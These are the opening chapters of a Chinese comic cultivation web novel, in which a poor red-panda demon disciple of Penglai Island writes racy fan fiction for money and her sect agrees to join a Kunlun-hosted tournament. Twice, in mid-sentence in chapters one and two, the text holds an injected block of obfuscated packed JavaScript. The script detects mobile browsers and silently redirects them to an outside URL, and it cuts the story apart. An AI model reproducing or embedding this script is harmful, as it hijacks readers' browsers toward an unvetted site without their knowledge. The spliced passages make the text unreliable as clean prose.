《我靠作死拯救修仙界》 1. 蓬莱岛(一)(修) 蔚蓝海面上绵延数百座岛屿,海鸟洁白的羽翅掠开云朵,从云层空隙望下去,一座小岛树影扶疏,阳光跃在叶面上,脆生生的竹子和绿油油的苹果树掩映着一座小竹屋。 此时,竹屋里传来一声怒喝,几乎震倒椽梁。 “罪大恶极,简直是罪大恶极!不忍直视,我真的不忍直视!你以为别人看不出来这写的是我蓬莱岛老祖吗?身为蓬莱岛的弟子,你竟然干出这样的事,太让师父失望了!” 萧衔蝉在师尊无法心道君地批判下,心虚地垂下头,少女脑袋上的呆毛蔫哒哒的,打满补丁、磨出白絮的衣角几乎被她抠破。她小眼神乱飘,瞥到师尊手边的秃毛笔和一沓纸,不由抿起嘴。 那沓纸正是她写的宗门老祖的同人文,非常不巧的是,放在第二页的就是车,只要师尊手劲再大点,震掉第一页…… 萧衔蝉闭上眼睛,那天杀的系统却幸灾乐祸地放bgm——“不敢睁开眼希望是我的幻觉……” “这写的都是什么?”无法心道君将手里那沓纸甩得哗哗响,“仙尊冷酷一笑:‘阿遥,是师尊太纵容你了,竟教出你这样残害同门的弟子’,阿遥眼泛桃色,哀声道:‘那是因为我发现师尊竟然把我当替身,您为什么不正眼看看我?您知道吗?我多想口口……’” 眼看师父要翻开第二页,□□词马上就脱口而出,萧衔蝉尖叫一声:“师尊,这是我靠这本书赚的钱。” 她一个跨步,双手奉上一堆亮闪闪的灵石, 满室寂静,只闻海浪拍岸。 “咳”无法心道君清了清嗓子,“这不是钱的问题……主要是你写的内容不符合老祖们的形象,道禅仙尊她老人家和你逍遥师公不是这个关系。” 道禅仙尊,蓬莱岛开门立派第一人,逍遥仙君是她的弟子,按照修仙界的传统,宗门老祖们是一个门派的根基,后代弟子心目中的天神,怎么恭敬侍奉都不为过。 但在蓬莱岛,传统是要向灵石低头的。 “师尊,这个叫四爱,现在四爱可火了,我加上这个设定,书肆老板的定金多给了这个数。” 萧衔蝉比划了个数字。 无法心道君沉默了,他看看灵石,摸摸良心,再看看灵石,又摸摸良心,许久,他长叹一声:“四爱,都四爱,四爱好啊。” 他站起身,眼含热泪望向远方,似乎做了个违背祖宗的决定,手却以一种快到诡异的速度将萧衔蝉奉上的灵石一把抓走。 “妙妙啊,好好写。”无法心道君声音温柔得能滴出水来,“你从没让师父失望过。” 萧衔蝉送走师父,瘫倒在瘸腿椅子上。 识海里,系统化作的扑棱蛾子忽闪忽闪:“你已经旷工三万六千六百六十六天了,拯救男主就能立地飞升,快点去找男主吧。” 萧衔蝉一个关闭识海的大动作,将系统叨逼叨的声音隔绝在外。 如果说穿越已是惊喜(或惊吓),那么系统的存在无疑告诉她自己肩负天命,可是…… 谁家好人刚穿越就挨雷劈啊? 一百多年前她穿越到这里,刚睁眼就有一道粗如天柱的大雷迎面而来,万钧雷霆穿过四肢,激得她毛发耸起,她转身就跑。 那一天,所有蓬莱岛的岛民都看到了一枝成了精的狗尾巴草在乌云下狂飙。 雷劫追着她劈,跑一步劈一道,一道更比一道粗,萧衔蝉被雷劈了整整九下,顶着爆炸头和一身烤肉味当场晕死过去,这给她留下了极深的心理阴影。 修为越高,劫雷越多,飞升劫雷要劈九十九亿道,连劈数年,萧衔蝉同人文的两位主角——蓬莱岛的祖师们都死于飞升雷劫。 萧衔蝉想想就不寒而栗。 慢慢修炼,好歹还有筑基期的五百年寿命,要是突然上进,很可能活不到五百年就被雷劈死了,再说了,系统又不能帮她挨雷劫。 这个系统没用的很。 别家主角的系统:我有系统商店、我能调低疼痛率、我能帮助主角走上巅峰! 萧衔蝉的系统:我会发布任务。 一个只会画大饼的系统是不配拥有主角的! 萧衔蝉将写好的小说仔细放进芥子袋,穿上破旧的外套。 扑棱蛾子奋力挣脱识海的禁制:“虽说雷劫难捱,但是你好好想想,救一个男人,换长生不老,这难道不划算吗?” 萧衔蝉终于不耐烦了:“拯救男主的前提得是能遇见男主吧!你告诉我,我怎么出蓬莱岛与男主相遇?” 海面被阵阵微风吹皱,室内一片寂静,系统收起翅膀,窝在识海深处,彻底不说话了。 蓬莱岛,传说中的仙岛,位于鸿蒙海上。 鸿蒙者,东方之野,日出之处也,除此之外,亦有天地开辟之前,混沌元气之意。 此海被称作鸿蒙,便有海上生迷雾,混沌难以辨方向的缘故,更可怕的是,鸿蒙海片羽亦可沉,凡板不可浮,除了长居此海的鲛人和鱼群,也就只有长生木可以浮在海面上。 萧衔蝉在一百多年前,穿成了蓬莱岛的三弟子,上有两个师兄,下有一个师妹。 在蓬莱岛生活了百年有余,如果要萧衔蝉给蓬莱岛编撰门派志,那么可以选择以下三个主题—— 一:省钱指南,如何一个月只花一块灵石 蓬莱岛很穷,穷得令人发指! 也正因为穷,所以蓬莱岛千百年来无法御法器出海,不能与外界交流。 整个门派加上师父总共只有五个人,五个人没有一件不打补丁的衣服,除了师父和大师兄外,萧衔蝉和二师兄、小师妹,常常因为肚子饿而睡不着,甚至有饿晕过去的经历。 每每这时,师父无法心道君就对他们说:“来,按照我们门派祖传的秘方大家一起面朝西北方向,西北风含沙量高,喝些风就不饿了。” 好在修士体魄强健,虽然会饿晕,但不会饿死。 人家修真是为了成仙,他们蓬莱修真,是为了生存。 二:我们宗派,全员反派 上面说到,大师兄不会肚子饿,不是因为他的修为高,而是因为,他是一个骷髅身的鬼修,不用吃饭。 哪个正派宗门里会有鬼修啊! 萧衔蝉刚穿来时,知道自己来到了修真界,兴奋极了,缠着师父问:“有没有妖魔鬼怪来找我们开战?” 无法心道君慈爱地看着三徒儿:“你大师兄是个鬼修,你二师兄是个怪人,你是妖修,你小师妹是魔修,咱们为什么要和自己开战?” 萧衔蝉还没转过弯来:“因为咱们是修士,一般而言,修士不是要斩妖除……等等,我是什么?” 谁是妖修?妖修是谁? 无法心道君担忧道:“你是小熊猫妖啊,刚捡到你时,岛上的人都以为你是猫咪,叫你喵喵,所以你的小字才叫妙妙。” 三:珍稀野生修士保护法 萧衔蝉穿成了一个妖修,姓萧名衔蝉,小字妙妙,原型是小熊猫,但时常被人当成猫咪、狐狸、小浣熊。 在现代是二级国保动物,在修真界是稀少的妖修。 因为大多数妖修,在几万年前诸天世界大战时,要么死了,要么搬到其他小世界去了。 妖魔鬼修素来倍受歧视,几千年来,本界这三道的修士数量急剧减少。 在萧衔蝉看来,蓬莱岛集齐了鬼人妖魔,简直是一个小型珍稀修士保护区,彰显了修士生态圈的多样性。 萧衔蝉刚穿来时,发现门派吃了上顿没下顿的同时,又发现自己不是人了,系统还在她脑子里哔哔,差点崩溃,毅然决然地对师父说,自己是穿越者,占据了这具身体,疑似夺舍,请师父赶紧杀了她。 无法心道君立刻检查了徒儿的脑袋,慈爱道:“难怪这样说话,你的灵台被雷劫劈失忆了!妙妙,你不是什么穿越,而是在筑基时神魂不稳,去异界游历了一圈,如今神魂归位,无甚大碍。” 灵台在脑袋里,换句话说,她的脑袋被劈坏了。 摸摸脑瓜子,萧衔蝉总觉得自己忘了什么。 扑棱蛾子系统奋力突显存在感:“你是天命之人,只要拯救男主,就能成仙!” 行叭,萧衔蝉试图开始自己的女主生涯。 男主在哪?不知道; 怎么找到男主?不知道; 男主长什么模样总该知道吧?还是不知道。 萧衔蝉深吸一口气,穿越而来遇到的种种事情和各式各样的人,让她仿佛看到了三个纪录片。 修仙系统——走近科学; 居住环境——人与自然; 师父同门——脱贫攻坚战! 那天,被劫雷劈晕过去的萧衔蝉紧闭双眼,不愿醒来,思考这里是梦境还是现实时,冷冷的冰雨就在她脸上胡乱地拍。 她睁开眼,墙塌了,屋外的飓风与滂沱大雨尽入眼帘,师父兴奋地跑出去大喊:“天上下鱼了,乖徒快捡啊!” 大师兄卸下自己的脑壳,端碗似的举着,接了一脑壳鱼虾。 二师兄拨着算盘,阴阳怪气:“三师妹的雷劫就是不同凡响,都能引来水龙卷,对了,此次你的筑基雷劫造成的损失大概这个数,你看一下。” 萧衔蝉看着算盘珠子就要再晕过去,结果被身边一个冷若冰霜的少女扶住。 还不等萧衔蝉说声谢谢,少女恋恋不舍地放下她的胳膊,眼冒绿光:“师姐,咱们修士少一条胳膊还能长回来,你真的不能让我吃一口吗?一根手指也行,都吃了一百年鱼了,我现在闻到鱼味就恶心。” 萧衔蝉终于在自己筑基雷劫引起的龙卷风中确定,她拿到的剧本不是《【系统】拯救美强惨男主后我成仙了》,而是——《活着》。 系统劝道:“男主现在富可敌国,手握九大灵脉,你只要找到他、拯救他,不就有钱了?” 萧衔蝉终于开启任务,但乘着长生木舟,在海上漂了一年也没找到出海的方向,最后带的辟谷丸都吃光了,只得回来。 结果回到蓬莱后,发现宗门更穷了,连米都买不起,小师妹将大师兄的头骨放进锅里熬汤借味,每天混个水饱,看到师姐回来,秦含玉笑着捧起盛着大师兄脑袋的碗送到她面前。 与大师兄的眼洞对视一秒,萧衔蝉十动然拒。 将系统和任务抛之脑后,当务之急是扶贫! 为此,她在红白喜事上吹过喇叭,在山林大海中打过猎,做过陪小孩做作业的家教,还在戏班子里当过扮和尚的临时演员,对着演蛇精的对手演员说“回头是岸”。 不仅自己身兼数职,萧衔蝉还激发师兄妹们的打工积极性:“你这个年纪怎么睡……不是,怎么能修仙?去打工吧!” 二师兄金不禁微微一笑,一脸高深莫测:“打工无法实现财富自由。” 萧衔蝉大受震撼,正想虚心请教,就听到破屋子外面的乡亲喊:“万两,金万两,你今个儿挑粪时撒了一桶,工钱倒扣三文,现在还欠大伙九千五百五十五两四钱二文。” 萧衔蝉:…… 就是这家伙渡劫时一个不慎,毁坏岛上财物无数,欠下万两巨款,导致宗门财政赤字愈加严重,人们赋予他一个亲切的称号——金万两。 看着散装的大师兄、干啥啥不行的二师兄和吃啥啥不剩的小师妹,萧衔蝉只觉得这个门派迟早要完。 为了活着,她充分挖掘自己潜力,如今靠写狗血小黄……咳,靠写展现复杂人性、饱含激烈感情、探讨世俗与道德的文学作品,发家致富。 今天就是她一月一次的交稿日。 走出小竹屋,萧衔蝉招来一片小云,乘云前往中心最大的岛屿碧游岛。 坐在云端向下看去,只见鸿蒙海如点缀着白羽的蓝玻璃,数十艘长生木小船漂在海面,鲛人游走在船只当中,鳞片在阳光下折射出绚烂的光芒。 灵活的鲛人将鱼群赶进渔民早就布好的网,两族合力捕捞一大网的海鱼,刚捕捞上的鱼在甲班上噼啪作响,渔民与鲛人平分。 渔民将上好的鲔鱼递给鲛人,鲛人则用利爪撬开贝壳,吃了鲜嫩的肉,将不用的珍珠递给渔民,一时间,海风里满是丰收的喜悦。 再往前飞几里,碧游岛便映入眼帘,今日正是赶集上会的日子,沿着海岸摆了一长串的小摊,花花绿绿的篷布宛如白沙里埋着的贝壳,渔民在沙滩上行走,海浪涌出朵朵泡沫,鲛人亦在浅海中游嬉。 一个卖鱼肉面的摊子两边都坐满了人,无论是人类还是鲛人,俱捧着一碗面吸溜,吃得额头冒汗,鲜香的味道飘到上空,萧衔蝉咽了咽口水,决定交完稿子就来吃面。 想到马上就要和书肆老板见面,萧衔蝉连忙观察四周环境,做贼心虚似的,悄悄溜进一条小路。 集市旁边的椰林里安安静静,远远的能听到热闹声音,两个人鬼鬼祟祟地在一块大石头后碰头。 “货我带来了,钱呢?”一人压低声音。 “我得先验货。”身材圆润的人亦小声道。 萧衔蝉啧啧出声:“我们做了这么久生意,你还信不过我?” 圆滚滚的书肆老板笑得和蔼,眼冒精光:“毕竟你上次交来的稿子中,一万字有四千都在写男女主的容貌,我怕你又水字数。” 萧衔蝉涨红了脸:“你怎么这样凭空污人清白!写主角容貌不能算水字数……主角盛世美颜的事,能算水么?” 接连便是难懂的话,什么“三分凉薄”,什么“五分霸道”。 老板不理她,只翻开萧衔蝉递给他的一沓纸,本是随意检查,但越看越入迷,眉头也越皱越紧:“什么?这个男主竟然真挖了同门的灵根?就因为他以为女主把她当替身?这么狠毒残忍的男主会有读者喜欢看吗?” 萧衔蝉胸有成竹:“等这一期发出去你就知道了,市场反应绝对热烈,健康的恋爱固然好,但畸形的恋爱更精彩!” 书肆老板摇头感慨:“你这话本写的……男主被抢机缘,在宗门比试被暗算,一身筋骨尽数断裂,经脉尽碎,灵根断绝,法力全无……妙妙啊,你在文学界对我毫无威胁,但在律法界,我真担心你变成法外狂徒啊!” 萧衔蝉一脸嫌弃地接过老板递过来的一小块银子,懒得理他说的话,自去吃心心念念的鱼肉面。 小摊的左右两边各摆一排桌子,人坐了一排,鲛人趴着一排。 萧衔蝉坐下一边吸溜面,一边催眠自己:“这不是鱼肉面不是鱼肉面,这是鸡丝面是鸡丝面……” 有几个小孩子笑着围上来—— “妙妙姐,我想摸摸你的大尾巴。” “带我们飞高高。” “陪我们赛飞鱼嘛。” 赛飞鱼就是坐在云上,各人选一条飞鱼,用丝线系住鱼身,看谁的鱼飞出海面的时间更长,若逢飞鱼洄游,驾云从飞鱼群中飞过,更加有趣。 因为原型是小熊猫的缘故,萧衔蝉非常受小朋友们的欢迎,她的身后弹出一条毛茸茸的尾巴来,红棕色的尾巴上有着十二个浅黄色的环形纹。 鱼肉面摊的老板笑道:“妙妙你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725631|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理这些猴孩子,今早他们跟着万两驾云上山,玩了一早上还不够,你们几个功课写完了吗?” 这一百年来萧衔蝉号召大家打工,终于攒够了她和二师兄的赔偿款,给岛民和鲛人赔偿完后,蓬莱岛是辛苦打工一百年,一朝回到解放前。 但赚钱的步伐不能停。 萧衔蝉猜测二师兄上山估计是去挖焰铁矿,这种铁矿非常好用,但产量稀少,且被熊熊烈火包围,难以挖掘,恰好二师兄是金火双灵根,所以岛民常雇他去矿上干活。 小孩子们不说话,将脸埋在萧衔蝉身后的尾巴里,尾巴巨大又蓬松,将几个小孩遮得严严实实。 萧衔蝉笑着用尾巴卷住几个小孩,正要带他们上天,忽见一只传音鸟飞来—— “蓬莱弟子秦含玉雷劫将至,临近漱玉岛者,请勿乱动,蓬莱弟子闻此言者,即刻以护佑百姓为先。” 一连说了三遍,传音鸟又飞去其他地方报信去了。 萧衔蝉回头看天,只见海天相交之际,顷刻间翻涌着聚了一大片黑云。 雷云暗沉如墨,与常见的青紫或金紫的劫云大不相同,轰鸣中带有天道威压,非应劫之人都觉得呼吸不畅。 狂风怒号,引起海浪滔天。 萧衔蝉瞳孔一缩,大尾巴将小孩子们轻轻卷起放到摊子里,飞身窜上天去,双手掐指结印,大喝一声:“御——” 白色的灵力犹如两只凤凰,在漫天黑云下化成一个小小的法印,旋转着护住这片小岛。 在传音鸟飞过的地方,凡人与鲛人井然有序地撤退,他们早已习惯蓬莱岛时不时引来的雷劫,有蓬莱岛的修士相护,最多也就损失点东西,所以并不担心。 果然,没多久,一个蕴含磅礴之力的太极两仪印,如日初升,温暖又强大,缓缓笼罩住所有凡人所在的岛屿与海域。 萧衔蝉看到师父无法心道君的法印后,心放下了大半,再转头看向师妹秦含玉居住的漱玉岛,担忧不已,招来一片小云,往漱玉岛去了。 蓬莱弟子一人居一岛,萧衔蝉的皦皦岛和师妹秦含玉所居的之岛相近。 来到漱玉岛上时,二师兄金不禁已经到了,两人顾不得斗嘴,联手将雷劫的威势圈在这座岛上,以免殃及凡人。 雷电风云之下,漱玉峰被劈得七零八落。 萧衔蝉有些担心地看着漱玉峰,狂风猎猎,小师妹秦含玉就站在峰顶上,迎接雷劫。 雷云愈发厚重,其间威压,隐隐透出金丹雷劫的架势,金萧二人忧心忡忡之际,忽闻一人到来。 “你们两个小家伙来得倒快,百姓们都安置好了吗?” 轻声慢语,音调柔和,来人正是蓬莱岛大弟子花沸雪。 只见一个身穿大红纱衣、骨生双花的白森森骷髅驾云而来。 红衣骷髅在一片风潇雨晦中越发显得悚然,犹如艳鬼,仿佛这是什么鬼哭神惊的可怖地界。 若是蓬莱岛外的人看到,说不定会吓昏过去,可金不禁与萧衔蝉才不会害怕大师兄,两人就像有了主心骨似的,一齐问花沸雪:“小师妹的雷劫非同寻常,不会有事吧?” 花沸雪一颗骷髅头骨,无法做出什么表情,但相处日久,萧衔蝉能从僵直的白骨中感受到,大师兄也在担心。 见此,金不禁与萧衔蝉更不安了。 花沸雪安抚师弟师妹:“此番小玉的雷劫,因她是魔修的缘故,天道多加威势也是有的,但终究只是筑基期的雷劫罢了,只要小玉正常渡劫……” 他的话还没说完,只见一道粗如梁柱的雷打了下来,秦含玉一身玄衣,白色发带飘扬如龙,手持重刀,挥舞生风,硬是把降下来的雷劫给劈了回去。 现场寂静,花沸雪住口,他忘了,小师妹不是个会正常渡劫的人。 雷云轰鸣也停了,估计是懵了,从没见过这样的修士,反应过来后,威压顿时上升了好几个档次。 狂风怒号,花沸雪的衣服被风刃刮裂,一大块红纱似断翅红蝶被风卷走。 萧衔蝉在这恐怖的劫云下被压回了原型,变成一只小熊猫,浑身炸毛,尾巴一甩将自己裹成一个熊猫卷。 金不禁被千钧雷劫压得连指头都动不了,趴在地上,徒劳大喊:“小玉,你悠着点,若又损坏百姓财物,咱们没钱赔人家——” 粗壮刺眼的雷电中,清瘦的黑衣劲装少女站在断壁残垣上,横刀指天,怒喝:“贼老天,有本事劈死老娘,不然姑奶奶有朝一日定要劈了你!” 秦含玉叫嚣之语一出,原本暗沉的雷云变得几乎压城欲摧,雷声震耳欲聋。 金不禁看见小师妹违抗天命,一身反骨的样子,竟然有所感悟,停滞许久的筑基初期,隐隐有突破小境界之状,他保持着五体投地、屁股撅起的姿势,就这样进入了悟道。 萧衔蝉欲哭无泪:“你这家伙,非得在这个时候练下犬式吗?” 金不禁咬牙切齿:“你以为我很愿意保持这种引人误会的姿势悟道吗?” 萧衔蝉和大师兄对视一眼,两人默契分工,她伸出毛爪子,运出灵力,帮二师兄护法,大师兄则继续关注小师妹的情况。 雷云轰鸣,震耳欲聋,翻滚着笼罩了整座漱玉峰,宛若一只巨大的倒扣的碗,将漱玉峰笼得一丝光不见,惊涛拍岸,漱玉峰上的树木花草几乎拔根而起。 最后一道雷劫正在酝酿,观其形,竟像是金丹修士的雷劫。 花沸雪见状大吃一惊,连忙摘下头骨右耳孔中的白昙花,挥手一抛,白昙见风就长,形大如塔,挡在了秦含玉头顶。 就在此时,壮如天柱的雷劫劈下,白昙被劈散,朵朵花瓣化成白色清光飘散,中间的花蕊变成一颗金光,回到了花沸雪的头骨里。 秦含玉挨下这道雷劫,饶是白昙帮她吸收了一部分威力,也打得她咳血不止,劫雷降尽,雷云意犹未尽地盘旋了一会,才遗憾散去。 风歇雨收,天光大盛,秦含玉身背一人高的黑色无鞘大刀,从被雷劫削去一半的漱玉峰走出来。 金不禁恰好在此时突破完毕,升阶筑基大圆满,距离金丹期只有一步之遥。 萧衔蝉连忙上前扶住师妹,心疼地擦去她嘴角的血:“这雷劫是正经雷劫吗?修士突破,天道不降下甘霖也就算了,还要轰雷。” 秦含玉不在意地笑笑:“我没事,师姐放心。” 师妹顺利渡劫,蓬莱岛上的百姓们也都被太极印庇护着,没有发生人员伤亡事件,萧衔蝉松了一口气。 对了,虽然没有人员伤亡,但有财产损失。 萧衔蝉看向远处的一座岛屿,只见岛屿上房屋坍塌,徒留一地破木烂瓦,红彤彤的果子滚落,恰如残红。 “这是谁家房子塌了呀?”萧衔蝉眼尖,如丧考妣,“我们又要赔钱了。” 花沸雪的骷髅头转向三师妹,两个黑漆漆的眼洞透出同情的光芒。 秦含玉扶住师姐的后腰,有些犹豫道:“师姐,是你的房子塌了。” “太好了,不用赔了!”金不禁情不自禁地露出笑容,真心真意道,“幸好是你的房子塌了。” 萧衔蝉浑身僵硬,宗门穷到屋子没有房顶,更别说消耗灵石的防御阵法,所以房子被雷劫震塌,也情有可原…… 摔,这破门派穷成这样,迟早要完! 等师兄妹四人重新盖好屋子,个个都弄得灰头土脸时,一只传音鸟飞到他们头顶,口吐人言—— “你们几个小兔崽子,来师父这一趟,为师有要事与你们相商。” 2. 蓬莱岛(二)(小修) 碧游岛从上空打眼看去,满是鲜红灿烂的花和青碧的叶子,风景优美。 红花名为红美人,花瓣如同轻纱披帛,又好似霞光彩云,千株万朵尽数盛放,层层叠叠的花瓣向心包裹,真似个羞答答的美女。 只见萧衔蝉他们驾云俯冲落地,吹散花瓣,露出花心,一点雏鸭绒毛般嫩黄的……牙齿便显露出来。 牙齿尖利,仿佛感应有人走过,美人面花瓣翕张,利齿咔咔作响,像是等不及将人肉吞噬殆尽,尚未消化的肉丝血污还挂在花心处,鱼鳞鱼骨被吐落在花根。 萧衔蝉面无表情,一巴掌打在艳丽的花冠上,给它一个大逼兜,张大利口的花怔愣一下,缓缓合上花瓣,又变回平素的模样,无害且清澈起来。 小径长满杂草,红花绿叶间,一座破败的茅草屋只剩下尺椽片瓦,屋顶被台风刮走了三重茅草,只能可怜地露出光秃秃的椽梁,从上面可以看见屋子里的景象。 无法心道君站在破了个大洞的屋顶下,一边亲切地招手叫徒儿们下来,一边把头发从美人花嘴里拉出来。 发梢上还滴滴答答着美人花黄绿色的粘液,无法心道君就这么坐在室内唯一一把保存完好的椅子上,平日里如春风般的脸难得严肃起来:“今日叫你们来,是有一件大事需得告知你们。” 萧衔蝉不由正色:“师父,你不会又欠钱了吧?” 关龠,昆仑宗。 素元真人步履匆匆,一路上遇到的弟子无不低头行礼,口称师叔,素元真人无暇他顾,只点头示意,匆忙而过,全无往日轻松神情,昆仑宗弟子不由暗自思考,师叔到底遇到什么事了,这又是要去哪? 走过九州台,云雾缭绕中,一座巍峨大殿渐显形状,此殿雕梁画栋,气势恢宏,铺以琉璃玉,饰以蛟龙角,富丽堂皇又不失威严庄重。 大殿中的每个座椅背上都镶嵌了寥影镜,此刻同时打开了数百面。 每面寥影镜光是开启就要耗费一颗上品灵石,开启的时间每增加一个时辰就再多耗费一颗,而这数百面寥影镜已经连续开了三日了,期间耗费灵石不可计数。 昆仑宗掌门太玄道君正与其他八方世界共百来个门派的掌门用寥影镜商议十方法会的事宜,众掌门的分身通过寥影镜落座于昆仑。 今年十方法会由昆仑宗做东,又称关龠法会,太玄道君极重视此次盛会,特命人不得打扰,然而此时…… 太玄见素元神情严肃,步履匆匆,知晓这个弟子一定是因为发生了重要的事才前来大殿,因而问道:“何事慌张?” 通过寥影镜落座昆仑的数百位掌门也看向素元,大能威压虽然收起,但仍让人两股战战。 素元真人清了清嗓子,压下心头的震惊:“禀告掌门师叔祖,传往摄取界蓬莱的星移玉印显示,蓬莱岛收到了我们的消息,并且回了消息。” 此话一出,诸位掌门具是一惊。 当年诸天万界大战时,九方世界的九大门派为传讯方便,特地与彼此赠送星移玉印传信,今日素元真人看到象征蓬莱的玉印突然亮起,吓了一跳。 摄取界位于关龠东北方,与密州界最近,东方密州的明月夜掌门玉箫道君问道:“蓬莱?可是那个近万年都未与外界互通有无的——摄取,鸿蒙海,蓬莱仙岛?” 北方丰乐界的春不过掌门奎星道君摸了把胡子:“老夫还以为,蓬莱岛的弟子全都飞升上界了,竟还能收到信?” 这话说得委婉,事实上,九方世界的修士们以为蓬莱修士都死光了,毕竟在诸天万界大战前,蓬莱的人丁就稀少,门下只道禅仙尊和他的弟子逍遥仙君,以及弟子的弟子无法心道君三个人。 大战时,鸿蒙海与山海界的弱水相邻,而山海界与其他小世界打得难舍难分,战场之一就在鸿蒙海。 是以众人都以为这近万年来蓬莱仙岛再没传出消息,是因为弟子都死光了,道统断绝。 东南饶益界,汨罗坞掌门昭平儒君道:“难道这许多年来,蓬莱仙岛竟是避世而居,广收门徒,壮大门派?他们行事如此隐蔽,我等竟一点消息也不知。” 诸天万界大战后,许多小世界之间墟空破碎,无法往来,然九方世界因距离相近,故而大战时结为联盟,休戚与共,大战之后也时常往来,消息互通,不忘情谊。 却只摄取界不得自由出入,蓬莱岛随之销声匿迹,近万年来不闻其声。 虽然即便一人也能参加关龠法会,参与法会散修也不少,但大门大派为了能有名次、面子好看,每次都会至少派出百来名弟子参赛,以保证胜率。 昭平儒君估摸着,蓬莱岛虽之前人丁稀少,然已过了近万年,恐怕如今门下弟子众多,如此看来,今年法会魁首花落谁家,已然又多了几分不确定。 素元真人道:“弟子收到蓬莱岛回信也讶异非常,蓬莱掌门无法心道君回信写到,蓬莱愿参加此届的十方法会。” 他给各位掌门展示一枚玉印,玉印是昆仑用来传信的灵力结印,触之光滑,轻轻一拂,正面显出关龠法会的消息,背面则刻着短短两行七个字—— “谢邀,会去。” 落款是无法心。 七个字,每一个都蕴含着金光灿灿的法力,法力又蕴含着渡劫期深厚的力量,足以证明篆刻人的身份及此回信的真伪。 “掌门竟是无法心道君!” 大殿响起嗡嗡声。 “当年逍遥仙君言说道禅仙尊已飞升,之后吾等便再不得入蓬莱仙岛,本以为如今蓬莱掌门应是逍遥仙君,不成想却是无法心道君。” “想来逍遥仙君已飞升了罢。” 议论声不断。 西方离垢界行客路掌门丹云子大掌狠狠一砸,粗声粗气道:“好一个蓬莱岛,行客路举办离垢法会时他们竟丝毫消息不回,这是看不起我们行客路么?这许多年不出世,他们还以为自己是十大派之一呢!” 昆仑宗太玄道君皱眉:“到底蓬莱岛建门立派于万年前,道禅仙尊与我派已飞升的原祖师交好,故而每次十方法会,祖师都会给蓬莱岛传信,只是存着纪念的意思,法会千年一办,蓬莱岛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725632|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前九次从未回过信,怎的这回……” 原老祖一飞升,他初任掌门,蓬莱竟然回了他们消息! 南方丰溢界,莲送归的济世大士念了声佛号:“阿弥陀佛,蓬莱此番出山入世,想是缘法到了。” 西北欢喜界,蜃楼的女桑道君一甩拂尘,白玉莲花冠衬得她笑容出尘:“看那封回信,竟没另起纸墨,而是在昆仑传信的星移玉印背后直接凿刻,然每个字又都蕴含法力,可见是用灵力刻成的,在星移方寸之地刻下如此小字,足见蓬莱掌门运灵如臂使指,深不可测。” “是极,是极”西南鲜少界的宝珠谷谷主吴萸真人道,“想来同为万年传承大宗,蓬莱仙岛底蕴深厚不在吾等之下,其弟子定个个不俗,此番参加法会,许是打着一举夺魁,彰显声名,重回九方世界视野的准备,甚至想争夺一下九方界宗门之首的位置,也未可知。” 九方世界皆为灵气充足之界,修真门派数不胜数,然每界也就只有一个门派可为本界之首,其余门派如星如砂,众门派又隐隐以关龠昆仑为首。 所有掌门们听了这话沉思片刻,打定主意,待会就去督促自家弟子勤勉修行。 蓬莱岛建派悠久,一朝出山,必定存着夺魁的心思,说不得会派出数千名弟子来,使出人海战术。 此次关龠法会夺魁之战难度瞬间上升,他们也不盼望夺魁了,至少本门派要拿到前百才是。 此番法会奖品十分优渥,魁首可得一件上古残武,第二名可得一仙界法器,第三名可得一本极品心法,第四名可得……总之都是于修炼极有用的东西。 到底是昆仑宗坐东,昆仑在大战前便是天下第一宗,如今更是修真界的庞然大物,无冕之皇,宗门宝物数不胜数,这些好东西拿出来做彩头,更显得昆仑宗大气。 而这一次法会与往届不同,未入前十的门派也有奖励,第十一名至六十名依次奖励一万至六十万灵石。 这是昆仑宗体谅小门小派或散修不易,他们传承万年的大宗门要那灵石做什么?门派仓库里堆山积海,多得放不下。 哪个大门派参加十方法会是为了赢区区数万灵石?便是些要脸面的小门小派都不屑,这是在羞辱谁呢! 灵石作为彩头这个提议一经提出,便遭到了所有门派的反对,但太玄真人说,九方世界许多有天赋之人因一颗灵石而折腰,为了帮助这些人,这个彩头还是有必要的,如果哪些门派得了灵石做彩头,若不想要,尽管赠予他人,这才征得其他几位掌门同意。 待寥影镜熄灭,盖上灵鸟尾羽织成的镜披,众掌门立刻在自家门派召开了动员大会。 不出一天,九方所有修真者都知道,近万年不见踪影、只在老人口中存在、传说中的蓬莱仙岛要出山了! 参加此次关龠法会的弟子们听了掌门的训诫,于修炼上更加勤勉,生怕在法会上丢了自己门派的脸。 想来蓬莱岛的弟子们为了此番出山入世,必勤于修炼,亦不敢怠慢分毫罢。 九方世界所有修真门派一时严阵以待。 3. 蓬莱岛(三) 收到昆仑来信之后,无法心估摸了一下蓬莱岛的灵石,正犹豫要不要参加时,便看到了昆仑书写的关龠法会宣传单,看到奖品时,他几乎高兴得要跳起来,即刻便召徒儿们回来。 几千年来,无法心收到过很多次邀请蓬莱岛参加十方法会的来信,管是西方离垢法会、北方丰乐法会,他从没回复过,原因无他,穷啊! 蓬莱太穷了,穷到没有灵石支撑路费,再加上往年的奖品又不诱人,无法心便不将十方法会放在心上,但是今年昆仑宗做东召开的法会实在是给的太多了,竟然给第十一名至六十名奖励灵石! 无法心当即馋得眼睛都红了,掏出压箱底,算了又算。 从他接任掌门以来,蓬莱的财库就空空如也,又因为鸿蒙海上灾难频发,很快灵石就用得一干二净,还时常欠债。 